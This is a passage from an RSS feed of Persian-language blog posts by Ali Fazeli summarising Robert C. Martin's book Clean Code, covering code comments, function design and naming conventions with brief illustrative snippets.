                <link>https://virgool.io/@alimfazeli/clean-code-comments-mu3xlmofbnns</link>
                <description>چند بار شده که موقع نوشتن یه کامنت حس خوبی داشته باشید که دارید کدی رو توضیح می‌دید و برای آیندگان! اون توضیحات رو به جا میزارید؟ اصلا کد هاتون رو کامنت می‌کنید یا نه؟توی این بخش از سری مقاله های برداشت های من از کتاب Clean Code میخوایم ببینیم که چه موقع باید از کامنت استفاده کنیم؟  اگه کد بیسی پر از کامنت باشه آیا کد بهتر و تمیز تریه؟ برای این که بهتر هدف این کتاب رو درک کنین خیلی خوبه که بیشتر از تجربه های کد نویسی به تجربه های خوندن و تغییر دادن کد هایی که خودتون ننوشتید برگردید. چند بار شده که از خوندن یه کد و نفهمیدنش دیوونه شدین؟ چند بار بوده که کامنت های یه کد رو خوندید و اون کامنت ها بهتون دروغ گفتن؟ یا تا حالا شده که موقع خوندن یه کد به خاطر بیش از حد بودن کامنت ها و این که مجبورید کلی اسکرول کنید تا یه تابع ساده رو بخونید کلافه شید؟ این بخش راجع به اینه که کدی بنویسیم که برای بقیه این دردسر ها رو درست نکنه، یا حداقل کمتر درست بکنه!کامنت به جای کد واضحواقعیت اینه که وقتی نیاز به نوشتن کامنت رو حس می‌کنیم تا توضیح بدیم یه کد چه کاری رو داره انجام می‌ده باید سریعا حساس شیم که چرا کدی نوشتیم که خودش خودش رو توضیح نمی‌ده؟بیشتر چیزایی که تا اینجا در مورد کد تمیز گفتیم برای این بود که کد ها خودشون توضیح دهنده خودشون باشن و با اسم های خوب و ساختار های تمیز و خلاصه، هر برنامه نویس دیگه ای که اون ها رو می‌خونه به راحتی متوجه بشه که چه کاری داره انجام می‌شه.پس دفعه بعدی که خواستید با افتخار شروع به نوشتن کامنت کنید برای کدتون اول ببینید که چرا اون کد به اندازه کافی واضح نیست و نیاز به کامنت داره. اگر تونستید کد رو طوری تغییر بدید که نیازی به کامنت نباشه اون وقت به خودتون افتخار کنید و اگه در نهایت مجبور شدید که کامنت رو بنویسید به اون کد به چشم یه شکست نگاه کنید!تغییر دادن کد برای قابل فهم شدن خیلی از وقتا فقط به معنی اسم گذاری درست و نوشتن تابع های واضحه، به همین راحتی.دلیل دشمنی با کامنتچرا کامنت خوب نیست؟ اول این که این در مورد هر کامنتی نیست و بیشتر در مورد کامنت هاییه که راجع به عملکرد یه کد توضیح می‌دن و این نوع کامنت‌ها هستن که بیشتر مشکل در مورد اون هاست. به طور خلاصه  به این دلایل برای رد کامنت های توضیح دهنده کد می‌شه اشاره کرد:کامنت های دروغ گونکته ای که در مورد کامنت وجود داره اینه که مستقیما به اجرای کد ارتباط ندارن و به همین خاطر به موقع آپدیت نمیشن و بعد از مدتی احتمالا شامل تغییرات کد نمی‌شن و تبدیل به جمله های گمراه کننده برای کسی که کد رو می‌خونه میشن.* اگر در مورد متودولوژی Extreme Programming مطالعه کنین، می‌بینید که یکی از توصیه‌های اکید اینه که کد رو توسط چیزی که روی اجرای کد تاثیر نداره داکیومنت نکنید (‌حتی گراف ها و مدل های ‌UML) درسته که می‌شه گفت برنامه نویس خوب کامنت و مدل و داکیومنت ها رو همراه کد آپدیت می‌کنه، اما واقعیت اینه که خیلی مواقع این اتفاق نمی‌افته و بهتره که برنامه نویس خوب از اول کدش رو طوری بنویسه که نیازی به کامنت نداشته باشه.باقی موندن کد های بدیکی دیگه از جاهایی که کامنت ها نقش منفی دارند اینه که بهانه ‌ای به ما می‌دن که کد های کثیف رو نگه داریم و به جای اصلاح شون با چندتا کامنت ازش فرار کنیم.کامنت های خوبهمونطور که گفته شد، همه ی کامنت‌ها هم بد نیستن. چه کامنت هایی توی دسته خوب قرار می‌گیرن؟کامنت های قانونی چیزهایی مثل اطلاعات در مورد ‌‌‌license های قانونی، ‌‌copyright و ... داخل کد ها برای همیشه می‌تونن زندگی کنن و کاربرد داشته باشند.توضیح ایده و هدفبعضی وقت ها کامنت ها نه عملکرد مستقیم کد ، بلکه ایده پشت یه روش رو توضیح می‌دن و هرچند مشکل آپدیت نبودن اینجا هم می‌تونه اتفاق بیافته اما احتمالش کمتره و به طور خلاصه اینطور کامنت ها اگر واقعا جایی که ایده خاصی به کار رفته نوشته بشن، نسبت سود به ضرر شون نسبت مناسبیه.هشدار هاگاهی اوقات کامنت ها نقش هشدار و اعلام خطر در مورد بخشی از کد هستند که خوبه که برنامه نویس های بعدی در مورد اون ها بدونن. فرض کنید داخل یک کد بیس یک تست غیر فعال شده باشه، اینجا خوبه که کنار اون تست نوشته بشه که به چه دلیل غیرفعال شده تا افراد بعدی یا حتی خودمون بعد مدتی که بهش برمیگردیم بدونیم که چه اتفاقی افتاده بوده.کامنت های TODOممکنه به کدی برخورد کنین که ببینید مشکلی داره یا نیاز به refactor و اصلاح داره، ولی به دلایلی وقت یا امکان این که اون کد رو ادیت کنید تو همون زمان ندارید. این جا می‌شه از کامنت های TODO استفاده کرد که در واقع شما با این روش مینویسید که چه کاری باید انجام شه تا بعدا بهش برگردید و تغییر رو انجام بدید.این کار نباید تبدیل به عادتی بشه که کنار هر کد بدی یه کامنت بزارید و ازش عبور کنید.حتما باید روشی داشته باشید تا به این کامنت ها برگردید و توی زمان های مشخصی اون ها رو انجام بدید.کامنت های داکیومنت APIوقتی سرویسی برای استفاده عمومی تولید می‌کنید، ابزار هایی مثل ‌‌javadoc,phpdoc و ...  وجود دارن که به شما این امکان رو میدن که برای تولید ‌‌داکیومنت مربوط به اون ‌API ها، از کامنت گذاری روی توابع استفاده کنین و بعد با اجرا کردن یک اسکریپت روی کد، فایل های داکیومنت به طور خودکار تولید می‌شه و می‌شه در اختیار استفاده کننده های اون سرویس قرارش داد. تنها نکته منفی در مورد اون کار همون مورد دروغ گو شدن کامنت می‌شه که باید با دقت در موردش عمل کرد و حتما با هر تغییر سرویس کامنت مربوط به داکیومنت اون هم آپدیت بشه.نمونه های کامنت بددر مورد این‌که چرا کامنت ها خیلی از وقت‌ها در واقع ایده خوبی نیستند به اندازه کافی توضیح داده شد و الان فقط میخوام مصداق های کامنت بد رو مرور کنم:به درد نخور هامنظور از کامنت های به درد نخور، هر کامنتیه که در واقع اطلاعات جدید و اضافه ای بهمون نمی‌ده. مثلا کاری که کد داره به وضوح انجام میده رو توضیح بده و ... .کامنت های غیر دقیقبعضی کامنت ها با این‌که فکر خوبی پشت شون هست ، اما برنامه نویس موقع نوشتن شون به اندازه کافی دقیق نیست و باعث گمراهی کسی می‌شه که بعدا اون کد رو می‌خونه.کامنت های اجباریمعمولا با فکر کمک به بهتر داکیومنت شدن کد، توی بعضی تیم های برنامه نویسی، قانونی اعلام می‌شه که تمام توابع داخل کد باید ساختار خاصی از کامنت رو داشته باشن که در مورد خوشون،. ورودی ها و خروجی شون توضیح بده. این کار هرچند با نیت خوبی (داکیومنت کردن) انجام می‌شه، اما در حقیقت و توی بلند مدت باعث ایجاد حجم زیادی کامنت غیر دقیق، غلط و بروز نشده می‌شه. به جای قانون های ظاهری برای کامنت گذاری باید سراغ ایجاد طرز فکر درست نسبت به داکیومنت کردن و البته محدود کردن داکیومنت به جاهایی که واقعا نیازش وجود داره برید.یادگاری هامنظور از یادگاری ها هر چیزیه که ارتباط مستقیمی با خود کد نداره. کد جای یادگاری نوشتن نیست. این که ارتباط بین کد و تسک مربوط بهش رو توی کد نگه دارید، یا با هر تغییر بالای کد توضیح اضافه کنید که توی چه تاریخی چه تغییری انجام دادید و کارهایی مشابه این. برای این ها از سیستم ورژن کنترل استفاده کنید. تاریخچه تغییرات و حتی ارتباط با تسک های مربوطه ش رو توی ‌‌‌git history یا هر ورژن کنترل دیگه ای می‌شه نگه داشت و نباید داخل کد نگهداری بشه.کد های قدیمیاگر کدی رو دیگه لازم ندارید پاکش کنید. نگه داشتن کد قدیمی به شکل کامنت باعث بزرگ شدن و ترسناک تر شدن کد می‌شه. وقتی شما کدی رو به صورت کامنت نگه می‌دارید، برنامه نویس های بعدی هم جرعت پاک کردنش رو نخواهند داشت.این خلاصه ای از محتوای کتاب Clean Code بود در مورد کامنت گذاری داخل کد. مشابه همه مقاله های سری برداشت های من از این کتاب شما رو توصیه می‌کنم به خواندن خود کتاب، اون هم نه به شکل یک مرتبه بلکه به نحوی که محتواش همیشه خاطرتون بمونه.اگر این مطلب براتون جالب بوده بقیه مقاله های این سری رو هم مطالعه کنید و همینطور با بقیه به اشتراک بگذارینشون.معرفینام گذاری‌هاتوابع (بخش ۱)توابع (بخش ۲)</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sat, 31 Jul 2021 12:28:12 +0430</pubDate>
            </item>
                    <item>
                <title>تحول برنامه نویسی با کد تمیز (بخش سوم - توابع ۲)</title>
                <link>https://virgool.io/@alimfazeli/functions-in-clean-code-part2-lcg51kyy9efu</link>
                <description>این پست از سری برداشت های من از کتاب Clean Code  نوشته Robert C.Martin و ادامه بخش اول توابع هست.اثرات جانبی (Side Effects)هر تابعی قراره که یک کار مشخص رو انجام بده. بعضی وقت ها پیاده سازی تابع ها به شکلی می‌شه که علاوه بر کار مورد نظر تاثیرات جانبی هم ایجاد می‌شه. این تاثیرات می‌تونن تغییر روی متغیر های global، تغییر روی متغیر های کلاس مورد استفاده و هر چیزی که جدای کار اصلی تابع هست باشه. اثرات جانبی باعث ایجاد تداخل های ناخواسته و مشکلات غیر قابل انتظار می‌شن.مثال کتاب تو این مورد رو ببینیم:اون‌طور که از اسم تابع checkPassword به نظر میاد، قراره که نام کاربری و رمز رو باهم تطابق بده و بگه که نتیجه مثبت بود یا منفی. چیزی که فقط با خوندن کل تابع متوجه می‌شیم ()Session.initialize هست. این نمونه واضحی از Side Effect ه که نه اسم تابع نه کاربرد اون چنین چیزی رو نشون نمیده و ممکنه کسی که از این تابع با خیال راحت جایی از کد استفاده کنه اصلا متوجه نشه که با این کار داره Session  رو مجدد می‌سازه و اطلاعات احتمالی که روی اون هست رو پاک می‌کنه. اگر نیاز به چنین حالتی دارید حداقل کاری که میتونید انجام بدید اینه که اسم تابع رو طوری تغییر بدید که عملکردش مشخص باشه و کسی رو به اشتباه نندازه. توی این مثال checkPasswordAndInitializeSession میتونه این کار رو انجام بده.نتیجه کار تابع باید مشخص باشهتوی پیاده سازی یک سری توابع متغیری که به عنوان نتیجه قرار هست گرفته بشه رو در قالب ورودی دریافت می‌کنیم. این کار باعث سردرگمی می‌شه و این نیاز رو بوجود میاره که ورودی های تابع رو دائم بررسی کنیم که آیا واقعا ورودی هستن یا در اصل خروجی هایین که به شکل ورودی تعریف شدن.بیشترین جایی که چنین الگویی دیده می‌شه وقتیه که متغیری دریافت میشه و روش تغییراتی انجام میشه و خودش داخل خودش به روز می‌شه. توی این موارد بهتره که (حداقل توی زبان های شی گرا) از Object استفاده کنیم.این مثال رو ببینین:کاری که این تابع انجام می‌ده اینه که قوانینی رو بررسی می‌کنه (که این جا خلاصه شده و با ...// مشخص شده) و در صورتی که نتیجه مثلت باشه مقدار isValid رو روی order ست می‌کنه.حالا حالت دوم رو ببینین:توی حالت دوم با استفاده از شی گرایی  ساختار واضح شده و نیازی به آپدیت متغیر ورودی به شکل نامشخص نداریم. استفاده از خروجی ها در قالب ورودی تابع به طور کلی بهتره که اتفاق نیافته و از راه های شفاف استفاده کنیم.یکی از هدف های اصلی قاعده های کد تمیز اینه که برای فهمیدن کد لازم نباشه همه ی پیاده سازیش رو بخونیم.یا بخون یا کار دیگه ای انجام بدهتوابع یا باید مقداری رو بخونن و برگردونن یا کار دیگه ای انجام بدن. یعنی خوندن یک مقدار یا دیدن این که یک مقدار وجود داره یا نه خودش  «کار» به حساب میاد و یادمون هست که تابع باید یک کار انجام بده. پس این که توی یک تابع هم مقداری رو تغییر بدیم و هم اون رو بخونیم اشتباهه.پس برای مثال اگر میخواید ببینید که یک فیلد روی یک Object وجود داره و اگر وجود داشت اون رو تغییر بدید این رو درقالب دو تابع جدا پیاده سازی کنین.خلاصه:‌ یادتون باشه که خوندن یا چک کردن وضعیت یک متغیر خودش یک کار هست و خب تابع هم قرار بود فقط یک کار انجام بده.برای خطا ها از Exception استفاده کنیکی از تکراری ترین الگو هایی که توی کدبیس یه نرم افزار می‌بینید هدایت کردن حالت های خطا به روند منطقیه که بهش Exception Handling میگیم. زمانی که میخواین حالت خطایی رو اعلام کنید از Exception استفاده کنید و سراغ روش هایی مثل return کردن یک کد خطا و امثال اون نرید. استفاده از روش های غیر Exception باعث میشه که نتیجه تابع رو مجبور باشید با چندین دستور if بررسی کنید و برای هر حالت روند درستی رو پیاده کنید. با استفاده از Exception میتونیم این کار رو (Exception handling) با ساختار صحیح و با استفاده از دستور های ‌‌try/catch پیاده سازی کنیم.تابعی که قراره حالت های خطا رو برطرف کنه باید با دستور try شروع شه و بعد از دستور های  catch یا finally هم نباید کد دیگه ای وجود داشته باشه به این دلیل که برطرف کردن خطا خودش یک «کار» هست و نباید بیشتر از یک کار داشته باشیم داخل هر تابع. به طور ایده‌آل باید داخل خود بخش های try  و catch (یا finally) هم فقط یک تابع رو صدا بزنیم.بیاید مثال کتاب رو در این موارد با هم ببنیم:توی این مثال تابعی به اسم deletePage داریم که به جای Exception داره کد خطا رو برمیگردونه.حالا اون رو به شکلی تغییر میدیم که از ‌Exception استفاده کنه:همونطور که گفتم برای گرفتن نتیجه تمیز تر میتونیم (و چه بهتر که) داخل بخش های  ‌try و catch رو هم به تابع های جداگانه منتقل کنیم:به مثال ها جدای محتوای اصلی هم نگاه کنین و ببینین که چقدر نسخه های اصلاح شده با قواعد کد تمیز، راحت تر خونده می‌شن و متوجه می‌شیم که چه کاری رو انجام میدن.چطوری همچین تابع هایی بنویسیم؟نوشتن کد مثل هر نوع نوشتن دیگه یک فرایند چند مرحله ایه. شما وقتی یک مقاله عادی هم بخواید بنویسید، اول افکارتون رو مکتوب می‌کنید و بعد توی چند مرحله اون ها رو ساختار مند و مرتب می‌کنید و مطمئن می‌شید که از نظر نگارشی درست هستن. قرار نیست کد از اول به شکل درست و تمیز نوشته بشه، بهتره کدی که کار می‌کنه رو بنویسید بعد توی چند مرحله اسم ها رو اصلاح کنید، از دل کد، تابع ها (و حتی کلاس ها)ی جدید بیرون بکشید و توی حالت ایده آل چون برای نسخه اصلی کد تست نوشتید با پاس شدن تست ها مطمئن می‌مونید که کد اصلاح شده همچنان همان کار اولیه رو به درستی انجام می‌ده. (کلا یکی از مهم ترین کاربرد های تست نوشتن اینه که refactor کردن و تغییر دادن کد رو تبدیل به کار شیرین و بدون استرس می‌کنه)این بخش من رو یاد جمله ی معروف Kent Beck میندازه که نوشتن کد رو توی سه مرحله پیشنهاد می‌ده:Make it work, make it right, make it fast.با رعایت کردن نکته هایی که گفته شد، توابعی که از این به بعد می‌نویسین کوتاه، منظم و دارای اسم های به جا خواهد بود. اگر کل یک کد بیس رو زبانی بدونیم که داستان یک سیستم رو توضیح میدن، توابع در واقع فعل های اون زبان به خصوص هستن و هدف اصلی از کل محتوای کتاب اینه که کد هایی بنویسیم که داستان سیستم رو به درستی و وضوح بیان کنن.امیدوارم با خوندن این سری مقاله ها ضمن اینکه بخشی از محتوای کتاب Clean Code رو متوجه می‌شید، علاقمند به خوندن این کتاب هم بشید و سراغش برید.بخش های قبلی از این سری که قبلا منتشر شدن:معرفی کتاب Clean Codeنام گذاری هاتوابع ۱</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sat, 17 Jul 2021 10:21:41 +0430</pubDate>
            </item>
                    <item>
                <title>تحول برنامه نویسی با کد تمیز (بخش دوم - توابع)</title>
                <link>https://virgool.io/@alimfazeli/functions-in-clean-code-part1-laaukeiqbq5u</link>
                <description>توابع از زمان اولین زبان های برنامه نویسی سطح بالا وجود داشتن و در واقع اولین سطح برای قسمت بندی کردن منطق یه برنامه بودن.صرفنظر از این که به چه زبانی برنامه می‌نویسیم، کد های ما از مجموعه ای از توابع تشکیل شدن. توی این بخش در مورد این صحبت می‌کنیم که چه کارهایی مهمه که انجام شه تا این قسمت بندی به شکل مناسبی انجام شه و کد بیسی که در نهایت تولید می‌شه مشخص باشه که هر قسمتش چه کاری انجام می‌ده.مثل قبل یادتون باشه که یکی از هدف های کد تمیز اینه که با نگاه و خوندن کد یه برنامه نویس به راحتی متوجه بشه که اون کد چه کاری رو انجام می‌ده. پس اگه با کدایی مواجه شدین که بعد چندین دقیقه یا چند ساعت خوندنشون هنوز درست نمی‌دونین چه کاری رو انجام می‌دن، احتمالا با استفاده از این نکته ها می‌تونید اون ها رو به کد های خوانا و بهتری تبدیل کنین.کوچکتر بهتره!وقتی در مورد متد ها (توابع) صحبت می‌کنیم میشه با تقریب خوبی گفت که هرچی کوچکتر بهتر! به راحتی می‌شه کد ها رو پشت سر هم و زیر هم نوشت و توابع چند هزار خطی نوشت. اما اگر تا حالا تجربه تغییر دادن یا خوندن همچین توابعی رو داشته باشین به خوبی می‌دونید که چقدر میتونه به طور مسخره ای برای یه تغییر ساده وقتتون رو تلف کنه. پس در مورد این که چرا کوتاه تر و کوچکتر بهتره زیاد لازم نیست صحبت کنیم، چیزی که باید راجع بهش صحبت کنیم اینه که چقدر کوچیک خوبه؟قدیم ها یه قاعده ای وجود داشت که تابع باید انقدری کوچیک باشه که توی مانیتور بشه کلش رو یکجا دید ولی این برای زمانی بود که مانیتور ها کوچیک بودن و پیکسل های کمی داشتن و حداکثر ۲۰ خط کد ۸۰ کاراکتری رو می‌شد توی مانیتور دید. الان مانیتور های مدرن می‌تونن ۱۰۰ خط و شاید بیشتر کد ۱۵۰ کاراکتری رو نشون بدن. حالا پس تابع های ما می‌تونن ۱۰۰ خط باشن؟ نه!من فکر می‌کنم توابع باید خیلی کوتاه تر باشن شاید حداکثر ۲۰ خط.برای این که به تابع های به اندازه کافی کوچک برسین به این نکته ها توجه کنین:داخل هر دستور if یا for نباید بیشتر از یک خط کد باشه. اگه لازمه که بیشتر باشه اونو تبدیلش کنین به یه متد جدا.  مثال:که بعد از تغییر به این شکل در میاد:یه متد نباید بیشتر از یک یا حداکثر دو لایه indent داشته باشه. توی همین مثال بالا می‌بینید که چطوری با انتقال بخشی از کد به یک متد جدا جلوی indent اضافی گرفته شده و به یک متد دیگه منتقل شده.منظور از indent کاراکتر های خالی (space, tab) هست که باعث جلوتررفتن بخشی از کد می‌شه. توی دستور های if , for , while , … معمولا indent اتفاق میافته. پس وقتی میگیم بیشتر از دو مرحله indent نداشته باشیم یعنی حداکثر دو تا حلقه تو در تو باشه یا یک if داخل یک  for  و ...  (چه بهتر که بیشتر از یکی نباشه کلا).لازم نیست تک خط کد های بدیهی رو تبدیل به متد های جدا بکنین! فراموش نکنید که اضافه کردن هر متد هزینه اجرای کد رو (هرچند ناچیز) بالا می‌بره. برای مثال واضحه که این کار زیاده رویه:a + b; → add(a,b);فقط یک کاراگر با مفاهیم SOLID توی برنامه نویسی شی گرا آشنا باشید حتما این مسئله به گوشتون خورده. اینجا ولی فقط در باره تابع صحبت می‌کنیم و کاری با شی گرایی و مسائلش به طور مستقیم نداریم. تابع باید یک کار و فقط یک کار رو به طور کامل و درست انجام بده.تنها مشکلی که با این جمله باقی می‌مونه اینه که «یک کار» رو چطور تعریف کنیم؟اگر یادتون باشه توی بخش اول گفتیم که خود نامگذاری درست، کمک می‌کنه که بفهمیم متد ما بیشتر از یک کار انجام می‌ده یا نه. پس این طوری نگاه کنیم که اگر میتونیم بخشی از کد یک تابع رو با نام معنادار (و نه یک مشتق از نام تابع اصلی) جدا (Abstract) کنیم، این احتمالا نشونه اینه که تابع ما بیشتر از یک کار رو انجام میده.راه دیگه ای که توی کتاب بهش اشاره میشه استفاده از جمله هایی با شروع «برای این‌که» هست. سعی می‌کنم با یک مثال این رو توضیح بدم.توجه کنین که توی مثال کد ها کامل نوشته نشده و یک سری بخش ها رو با کامنت توضیح دادم که چه کاری انجام میشه.add-to-cart-1کاری که این کد انجام میده به این شکل هست که فرض میکنیم میخوایم یک محصول رو به سبد خرید کاربر اضافه کنیم. برای این کار باید ببینیم سبد خرید فعالی برای کاربر وجود داره یا نه و بعد با محاسبه قیمت  نهایی محصول رو به سبد اضافه می‌کنیم.تاکید میکنم که این فقط یک مثال ابتدایی هست و منطق و کد هردو خلاصه شده.حالا با در نظر گرفتن این که چه بخش هایی از این کد رو میشه با اسم های معنی دار داخل تابع های مجزا قرار داد، این کد رو اصلاح می‌کنیم.خب بریم سراغ نسخه refactor شده این کد با در نظر گرفتن حرف هایی که تا اینجا زدیم:add-to-cart-refactoredما داریم راجع به تابع addProductToCart صحبت می‌کنیم. ببینید الان میشه چیزی رو با اسم معنی دار ازش خارج کرد؟روش دوم میگه که برای تشخیص این که بیشتر از یک کار انجام میشه بیایم یک پاراگراف بسازیم که با کلمه To و اسم تابع شروع میشه:To addProductToCart...و بعد این جمله رو ادامه بدیم، هرجا که دیدیم بیشتر از یک لایه از اسم تابع دور شدیم اون نشون میده که تابع ما بیشتر از یک کار رو داره انجام میده.همین کار رو برای کد نسخه اول انجام بدیم. برای راحتی بیشتر من این کار رو به فارسی انجام می‌دم.برای این‌که محصول رو به سبد خرید اضافه کنیم: (ُTo addProductToCart)سبد خرید فعال کاربر رو بگیراگر سبد خرید فعالی نداشت یک سبد خرید ایجاد کنببین محصول انتخاب شده معتبر هست؟ببین فعال شده؟ببین توی انبار موجودی داره؟...قیمت رو محاسبه کن… جزییات محاسبه قیمت (که در کد هم خلاصه شده)محصول رو با قیمت محاسبه شده به سبد اضافه کن.حالا این کار رو برای همین تابع بر اساس کد اصلاح شده انجام بدیم:سبد خرید رو با شناسه کاربر بگیراگر محصول انتخاب شده معتبر بود اون رو به سبد خرید اضافه کنمشخصه که طبق این روش هایی که معرفی شده این تابع جایی برای بهبود نداره و واقعا داره یک کار رو انجام میده.توجه کنین که این روش ها، روش های ریاضی نیستند که با فرمول به نتیجه برسیم، بلکه ابزار هایین برای این که تمرین کنید تا توابع تمیز تری داشته باشید و کد هاتون به راحتی قابل خوندن و توسعه دادن باشن.ورودی های تابعهرچی کمتر بهتر!ورودی های یه تابع باید محدود بشن. ایده آل ترین حالت اینه که تابع ورودی نداشته باشه. بعد ۱، ۲ و نهایتا و در صورت نیاز واقعی ۳ ورودی برای تابع قابل قبوله. اگر بیشتر از سه ورودی نیاز دارید برای تابع احتمالا مشکل جدی توی نحوه نگاه به تابع و ساختار برنامه‌تون وجود داره!ورودی های زیاد چه مشکلی ایجاد می‌کنن؟باعث می‌شن خوندن کد سخت تر بشه، شما باید برای فهمیدنش قصه هرکدوم از ورودی ها رو هم بدونید و خیلی وقت ها جنس ورودی ها هم باهم یکی نیست و کار سخت تر می‌شه.ورودی های زیاد نوشتن تست رو سخت تر می‌کنن چون باید تمام ترکیب های ممکن اون ها رو برای تست در نظر بگیرید.از ورودی های Flag استفاده نکنید. استفاده از ورودی های flag حسابی گمراه کنندست. منظور از ورودی های flag متغیر های boolean ای هست که رفتار تابع رو تغییر میدن. به جای استفاده از این روش از دو تابع مجزا استفاده کنین.یکی از مشکلاتی که برای توابع با ورودی های دو، سه و یا بیشتر پیش میاد اینه که هر وقت توی کد اون ها رو استفاده می‌کنید باید دائم ترتیب ورودی ها رو چک کنید و مطمئن شید هر مقداری که پاس داده شده همونیه که باید باشه.یک مثالی که توی خیلی از فریم ورک ها و زبان ها وجود داره رو ببینید:assert-function(clean-code)تقریبا هربار چنین تابعی رو بخوایم توی کد فراخوانی کنیم باید بریم و تعریفش رو بخونیم تا ترتیب ورودی ها رو درست وارد کنیم.حالا توی مواقعی که نیاز به ۳ یا بیشتر ورودی داریم چکار کنیم؟ یکی از راه هایی که برای این زمان ها وجود داره استفاده از Object هاست. خیلی وقت ها می‌تونیم ۲ یا چند مقدار رو در قالب یک Object به تابع پاس بدیم. این کار تقلب نیست! با این کار یک ساختار معنا دار ایجاد می‌کنیم.مثال:با تبدیل کردن مقادیر x  و y به یک Object هم تعداد ورودی ها کم شده و هم مفهوم اون ها مشخص تر شده.بعضی مواقع تابع ورودی های به ظاهر زیادی میگیره ولی چون رفتار اون ها یکسانه مشکلی ایجاد نمی‌کنه. مثال کتاب توی این مورد رو ببینین:array-of-inputs-clean-codeتابع String.format بی شمار ورودی میتونه بگیره اما از مقدار دوم به بعد در واقع دنباله ای از ورودی ها هستند که همه به ترتیب داخل string ای که در ورودی اول مشخص شده قرار می‌گیرند. از نظر ظاهری این تابع چندین ورودی داره ولی در واقع از ورودی دوم به بعد همگی دنباله ی یکسانی هستن و به همین خاطر از زاویه دید کد تمیز این تابع دو ورودی داره، یک رشته متنی و یک دنباله ای از مقدار ها برای قرار گرفتن داخل رشته متنی.من برای جلوگیری از طولانی شدن بیش از حد این پست رو همینجا تموم می‌کنم. نکته های مربوط به توابع تمام نشده و پست بعدی این سری ادامه توابع خواهد بود.من همونطور که قبلا هم نوشتم، همه برنامه نویس ها و مهندس های نرم افزار رو تشویق به خوندن این کتاب می‌کنم  و این سری قرار هست که خلاصه ای بر این کتاب باشه و مشوق خوندن نسخه کامل کتاب و جایگزین اون نیست.در صورت علاقه می‌تونید بخش های قبلی این سری رو هم مطالعه کنید:تحول برنامه نویسی با کتاب Clean Code‌ (معرفی)بخش اول - نام گذاری ها</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 11 Jul 2021 12:26:03 +0430</pubDate>
            </item>
                    <item>
                <title>تحول برنامه نویسی با کد تمیز  (بخش اول - نام گذاری ها)</title>
                <link>https://virgool.io/@alimfazeli/naming-in-clean-code-hblnuwl8orwk</link>
                <description>اولین پست از سری مقاله های برداشت های شخصی من و خلاصه هایی از کتاب Clean Code مربوط به نام گذاری هاست. توی این بخش نکته ها و مسائلی که هنگام نام گذاری متغیر ها، توابع یا کلاس ها هنگام کد نویسی باید رعایت بشه رو مرور می‌کنیم. تاثیر عمل کردن به این نکته ها موقع کد نویسی احتمالا بیشتر ازچیزیه که در نگاه اول به نظرتون میاد. به نظر من نوشتن کد تمیز از نام گذاری درست شروع می‌شه.shining-and-clean-codeنام گذاری متغیر هااز اسم های بی معنی استفاده نکناسم هایی که معنایی با خودشون ندارند موقع خوندن کد، فهمیدن رو سخت می‌کنن. پس برای انتخاب اسم وقت بذارید. متغیر هایی مثل a، b یا data تقریبا به شما هیچ اطلاعاتی در مورد ماهیت شون نمی‌دن.meaningful-variable-nameاز اسم های مخفف استفاده نکن استفاده از اسم های مخفف باعث می‌شه که موقع خوندن کد نیاز به مراجعه دائم به ذهن و مپ کردن اطلاعات داشته باشید. IDE های مدرن انقدر امکانات برای  autocomplete در اختیار ما قرار میدن که چند کاراکتر کوتاه تر یا بلند تر بودن اسم اهمیتی نداشته باشه. پس اگه جایی متغیری برای توضیحات داشتید اسمش رو description بذارید، نه dscr. یا اگر به جای category از cat استفاده کردین چقدر مطمئنید که نفر بعدی هم متوجه اون می‌شه و فک نمی‌کنه که با یه گربه طرفه؟ این مسئله در مورد مخفف هایی که به شکل کاملا عمومی یا توی فضای برنامه نویسی پذیرفته شدن صدق نمی‌کنه. اگه متغیری دارید که در باره fifa (فدراسیون جهانی فوتبال)‌ هست احتمالا منطقی نباشه که به جاش از federationInternationaleDeFootballAssociation استفاده کنین!اسم متغیر باید نشان دهنده مقدار درونش باشهبا نگاه به اسم متغیر باید بفهمیم که شامل چه مقداری می‌شه. فرض کنیم متغیری داریم که روز های مانده تا تاریخ یک امتحان رو در بر میگیره. کدوم یک از این اسم ها برای این متغیر بهتره؟var d;
var days;
var daysRemainingToExam;اسم نباید اطلاعات غیرواقعی یا گمراه کننده منتقل کنهبعضی وقت ها اسم هایی که برای متغیر انتخاب می‌کنیم ناخواسته اطلاعات غلطی به ذهن انتقال می‌دن. به طور مثال کلمه list توی برنامه نویسی گاها به نوع داده خاصی اشاره داره و اگر برای مجموعه ای از product ها به جای products از کلمه productList استفاده کنیم ممکنه که خواننده کد (که می‌تونیم خودمون تو آینده  هم باشیم) موقع خوندن این ذهنیت رو پیدا کنه که ما با نوع list طرف هستیم. در حالی که یک مجموعه یا آرایه ساده داریم.تا حد ممکن اسم های شبیه هم انتخاب نکناسم هایی که ابتدا و انتهای مشابه دارند و تفاوت کوچیکی وسطشون هست استفاده نکن. ذهن ما موقع خوندن متن ها (از جمله کد نرم افزار) برای تمایز دادن بین کلمه ها بیشتر به ابتدا و انتهای اون ها و شکل کلی شون توجه می‌کنه. پس این مثال (شاید کمی اغراق شده)‌ رو ببینید:XYZControllerForEfficientHandlingOfStrings
XYZControllerForEfficientStorageOfStringsبهتره که اسم ها طوری انتخاب بشن که با نگاه تفاوت شون راحت مشخص بشه.تفاوت معنایی ایجاد کنسعی کنید اسم های انتخابی دارای معنی مشخص باشن و اطلاعات بیشتری نسبت به عملکرد اون ها بدن.فرض کنین تابعی به اسم reverse داریم که مقدار معکوس آرایه ورودی اول رو در آرایه ورودی دوم کپی می‌کنه. حالا دو تعریف ورودی ها رو با هم مقایسه کنین:// 1
reverse(char a1[], char a2[]) …
// 2
